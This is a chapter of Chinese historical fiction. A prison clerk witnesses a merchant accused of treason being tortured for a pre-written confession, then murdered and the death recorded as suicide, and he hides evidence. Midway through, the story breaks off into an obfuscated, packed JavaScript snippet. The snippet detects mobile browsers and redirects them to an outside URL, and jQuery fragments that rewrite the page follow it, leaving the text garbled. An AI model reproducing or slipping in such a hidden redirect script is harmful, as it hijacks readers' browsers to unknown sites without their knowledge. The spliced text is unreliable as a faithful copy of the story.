赵无咎见到沈确时，天还没有亮。
江宁州狱在城西，靠近旧城墙。那里常年阴冷，冬日尤其难熬。雪落在城中尚有几分清白，落到州狱外，便很快被脚印、污水和马粪踩成灰黑色。狱门口挂着两盏昏黄油灯，灯火被风吹得东倒西歪，像两只快要睁不开的眼。
赵无咎是州狱小吏，管的是案卷、押签、囚名册和验伤簿。
这差事不好听，也不好看。
他年少时也读过几年书，父亲原盼他考个县学，日后做个书吏。后来家中贫寒，母亲病了一场，银钱耗尽，他便托人进了州狱。外人都说狱吏阴损，日日与死人、犯人、刑具打交道，迟早折寿。赵无咎不信折寿，却信一件事：人在狱中，最容易看清世道。
堂上喊得越响的王法，到了狱里越常变成绳、棍、夹棍、烙铁和一纸供词。
这一夜，沈确被送进州狱时，狱中上下都被惊醒了。
州狱从不缺犯人，可很少见这样的人。
沈确不是寻常囚犯。他被押进来时，身上没有枷，双手却被反绑，衣襟凌乱，肩上有雪，唇角带血，神色却仍平静。押送他的金吾卫不敢太粗暴，又不敢太客气，态度便显得古怪。
像押的是罪臣，又像押的是一件烫手的贵重物。
狱丞卢庆连外衣都没穿好，匆匆迎出来，见到押送文书，脸色立刻变了。
“通敌逆案？”
金吾卫校尉道：“奉密旨，沈确暂押州狱，天亮后移交三司使臣。今夜不得探视，不得私审，不得让外人接触。”
卢庆连连称是，又小心问：“可要上枷？”
校尉看了沈确一眼。
沈确也看着他。
那目光很淡，没有哀求，也没有怒骂。校尉像是被看得不自在，转开眼，道：“上轻枷。人要活的。”
人要活的。
赵无咎站在旁边，听见这四个字，心中便留了意。
狱中说“人要活的”，意思往往是，这个人暂时不能死。但暂时不能死，与不会死，是两回事。
沈确被押进甲字第三间。
甲字牢关的多是重犯，但第三间最干净。墙上潮湿，却没太多血污；地上铺了稻草，虽旧，好歹没烂透。赵无咎拿着囚名册进去登记，按照规矩问姓名、年龄、籍贯、罪名。
“姓名？”
“沈确。”
“年龄？”
“四十有六。”
“籍贯？”
“江宁。”
“罪名？”
沈确停了停。
赵无咎抬头看他。
牢房里只有一盏小油灯，灯光昏暗。沈确坐在草席上，轻枷压着肩，脸色有些白，却不见慌乱。他甚至还有余力看了看赵无咎手中的册子。
片刻后，沈确道：“未审之人，无罪名。”
赵无咎握笔的手一顿。
旁边狱卒立刻骂道：“进了这里还摆什么沈老爷的架子？文书上写着通敌、匿税、私运军粮，你便照说！”
沈确没有理他，只看着赵无咎。
赵无咎垂下眼，在罪名一栏写下：奉旨收系，待审。
狱卒皱眉：“赵无咎，你写什么？”
赵无咎道：“文书上说候三司覆审，未定罪前，按例写待审。”
狱卒还想说什么，沈确忽然笑了一下。
很轻。
赵无咎没有看他，合上囚名册，退了出去。
半个时辰后，州府来人了。
来的是判官冯谦。
他带来一份供词草稿。
不是审出来的供词，而是已经写好的供词。赵无咎在狱中多年，一眼就能看出。真正的供词多有涂改、停顿、口语和错漏；这份供词却太整齐，罪名、银数、人证、物证、时间，全都排列得妥妥当当。
它不是记录。
它是答案。
冯谦把供词交给卢庆，声音很低：“天亮之前，让他画押。”
卢庆脸色难看：“可校尉说人要活的。”
“画押又不是要命。”冯谦冷笑，“上头等着供词入册。沈家账房烧了账，大小姐又跑了，若沈确不认，案子不好走。”
赵无咎站在案边整理纸笔，听到“大小姐跑了”几个字，心里一动。
沈家长女沈令仪，果然逃了。
他不是第一次听见这个名字。沈家大小姐会看账，在江宁不是秘密。州府书吏私下提起过，说沈确把女儿当儿子养，连漕运亏耗都敢让她听。有人笑沈家坏了规矩，也有人说那姑娘眼睛毒，账目错一厘都瞒不过她。
这样的人若逃了，难怪州府急。
卢庆接过供词，却仍迟疑：“沈确若不肯呢？”
冯谦看了他一眼：“卢狱丞，你在州狱这么多年，还要我教你？”
卢庆不说话了。
很快，沈确被带到刑房。
赵无咎照例在旁记录。
刑房不大，墙上挂着刑杖、绳索、夹棍。地上洗过，却仍有陈年血腥气。沈确被按在木椅上，轻枷卸了，双手重新绑住。
冯谦把供词放到他面前。
“沈公，画个押，少受些苦。”
沈确扫了一眼供词。
赵无咎看见他的目光在其中几行停住。
“私通北庭节度副使贺延昌……”
“盗运军粮十五万石……”
“以胡商债券暗通外夷……”
“藏银六万五千八百两，预备举事……”
赵无咎心中一跳。
六万五千八百两。
这个数字为何单独列出来？
沈确忽然道：“这笔银，不在沈家账上。”
冯谦眼神一冷。
“沈公记性倒好。”
“沈家的银，我自然记得。”沈确抬眼，“你们既然连这笔都写进供词，看来已经有人等不及了。”
冯谦的脸色难看了一瞬。
赵无咎低着头，假装什么也没听见。
沈确继续翻看供词，看到最后，笑了笑。
“这份供词写得太满。”
冯谦皱眉：“什么意思？”
“真正做过的事，不会写得这么满。只有没做过，才怕人不信，恨不得把每一处都补齐。”
冯谦冷声道：“沈确，我劝你识相。你若认了，沈家女眷还能少受些罪。你若不认，夫人、女儿、账房、旧仆，一个都跑不了。”
沈确的手指微微一动。
赵无咎知道，这句话击中了他。
可沈确仍没有低头。
“我若认了，她们才是真的跑不了。”
刑房里安静片刻。
冯谦笑了。
“那便让沈公清醒清醒。”
第一轮刑，没有上重刑。
只是杖。
沈确咬牙受了十杖，没有叫。
第二轮，上了夹棍。
赵无咎记笔录时，手指微微发僵。夹棍合拢时，人的声音往往很难听。沈确也终于发出闷哼，额上冷汗滚落，手背青筋暴起。
冯谦问：“认不认？”
沈确闭着眼，喘息很重，却仍说：“不认。”
“沈家私运军粮十五万石。”
“奉朝廷转运。”
“沈家匿税。”
“州府欠粮未补，票号代兑。”
“沈家通胡商。”
“合法贸易，年年纳税。”
冯谦脸色越来越沉。
这些话一旦进了正式供词，就会把案子扯向另一边。所以他不让赵无咎写。
赵无咎也没有写在正页上。
他偷偷写在了垫纸背面。
他不知道自己为什么要写。
或许是因为沈确说话时太清醒。
或许是因为那份供词太假。
也或许只是因为，他在州狱多年，见过太多冤案，却从来没有一次，冤得这样明目张胆。
三更将尽时，冯谦终于失去耐心。
他让人取来一份新的供词。
这份供词比先前更短，只有几条罪名和一行认罪之语。显然，他们已经不指望沈确详认，只要他按手印。
沈确看了一眼，道：“我的手印，你们自己按也一样。”
冯谦眯眼：“沈公倒提醒我了。”
沈确笑了一下：“可死人不会配合你们说话。”
冯谦脸色一变。
赵无咎也抬起头。
这话太危险。
像是沈确已经知道自己活不过天亮。
冯谦忽然挥退旁人，只留卢庆、两个心腹狱卒和赵无咎。
赵无咎本不该留下，可供词须有人记录，他被留下了。
冯谦走到沈确面前，低声道：“沈公，你何必撑？你以为沈令仪逃出去，就能翻案？一个罪臣之女，带着半本破账，能走到哪里？她去长安找裴太妃？裴太妃敢认她吗？她去白檀寺？佛门清净地，最怕逆案牵连。她去找胡商？胡商转身就能把她卖了。”
沈确忽然睁开眼。
“你们拿走了香匣。”
冯谦一怔，随即笑了。
“原来沈公真在香匣里留了东西。”
沈确看着他，眼神冷了下来。
赵无咎心口微震。
原来沈令仪逃走时，真正要紧的是一只香匣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528626|203631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冯谦察觉自己说漏，脸色阴沉，转身道：“按。”
两个狱卒上前，抓住沈确的手，要强按供词。
沈确忽然用尽力气挣了一下。
他受过刑，本该没多少力气，可那一下竟挣开了一个狱卒。供词被掀翻，墨汁洒了一地。冯谦怒极，抄起案上铜镇纸，狠狠砸在沈确肩侧。
沈确闷哼一声，身体重重撞向木架。
赵无咎心头一紧。
他看见沈确后脑撞在架角，血很快渗出来。
卢庆惊道：“冯判官，人要活的！”
冯谦也僵了一瞬。
沈确倒在地上，呼吸急促，眼神却仍清明。他看向赵无咎。
那一眼来得突然。
赵无咎握笔的手顿住。
沈确唇动了动。
声音极轻。
“记下……”
赵无咎心头一震。
记下什么？
沈确没有说完。
冯谦已经命人把他拖回牢里。
“看住他。”冯谦声音发冷，“天亮前，必须有供词。”
赵无咎跟着出去时，雪光已经从高墙外透进一点灰白。
他以为沈确还能撑到天亮。
可不到半个时辰，甲字牢传来狱卒惊叫。
“沈确死了！”
赵无咎赶到时，沈确已经靠在牢墙边，头微垂着，脖颈上套着一截撕下来的囚衣布带。布带挂在窗栅上，看起来像是自缢。
卢庆脸色惨白：“怎么会？谁让你们松绑的？”
看守狱卒慌道：“没有松！他自己……他自己用衣带……”
赵无咎走近。
他一眼便知道，不对。
沈确被夹过手，手指肿胀，指节发青，很难把布带撕得这样整齐。况且那窗栅太低，坐着也能碰到，若真自缢，颈痕不该是这样。
他蹲下去，仔细看沈确的脖颈。
布痕偏平，勒痕却在侧后方更深。
像是有人从后面勒过，再挂上去。
他又看沈确的手。
指甲里有血肉碎屑。
不是自己的。
赵无咎心底一点点发冷。
沈确不是自尽。
是被人勒死后，伪作自缢。
卢庆显然也看出来了，脸色难看得厉害。冯谦随后赶到，看了尸体一眼，立刻道：“畏罪自尽。记。”
赵无咎没有动。
冯谦看向他：“赵无咎，记。”
赵无咎慢慢站起，低头道：“是。”
他翻开验尸簿，写下：
沈确，四十六岁，江宁人，逆案待审。五更前，于甲字三号牢畏罪自缢，气绝。
写到“自缢”二字时，他的笔停了一瞬。
冯谦的目光落在他手上。
赵无咎继续写下去。
写完正簿，他将纸吹干，递给卢庆押印。
冯谦这才满意，道：“尸身暂封，不许沈家人收殓。供词一事，我另行处理。”
另行处理。
也就是说，死人也能画押。
冯谦走后，狱中重新安静下来。
赵无咎借着收拾刑房的机会，悄悄把夜里垫纸背面那几行记录撕下，又从废纸堆中抽出一张被墨污了半边的供词草稿。草稿上有几处极要紧的字：
六万五千八百两。
香匣。
沈令仪。
还有一个被涂黑的名字，只露出最后一个字：
“恩”。
赵无咎盯着那个字看了很久。
他不知道这个“恩”是谁。
人名？地名？官名？还是某个内廷中人的代称？
他只知道，这份东西若被发现，他必死。
可他还是把它折好，藏进靴底夹层。
天彻底亮时，州狱外传来马车声。
沈确的死讯被送往沈府，也送往刺史府、户部、盐铁司。很快，江宁城中便会传开：
沈氏家主沈确，畏罪自尽。
案子仿佛因此稳了一半。
赵无咎站在狱门后，看着灰白天光落在雪上，忽然想起沈确临死前看他的那一眼。
记下。
他记下了。
沈确不是畏罪。
也不是自尽。
他是被人杀死在天亮之前，因为有些人怕他活到天亮。
赵无咎低头看着自己袖口沾上的一点血迹，慢慢攥紧了手。
他只是一个州狱小吏。
他救不了沈确。
可他至少能让这几行字活下来。
只要字还活着，死人便还没有彻底闭嘴。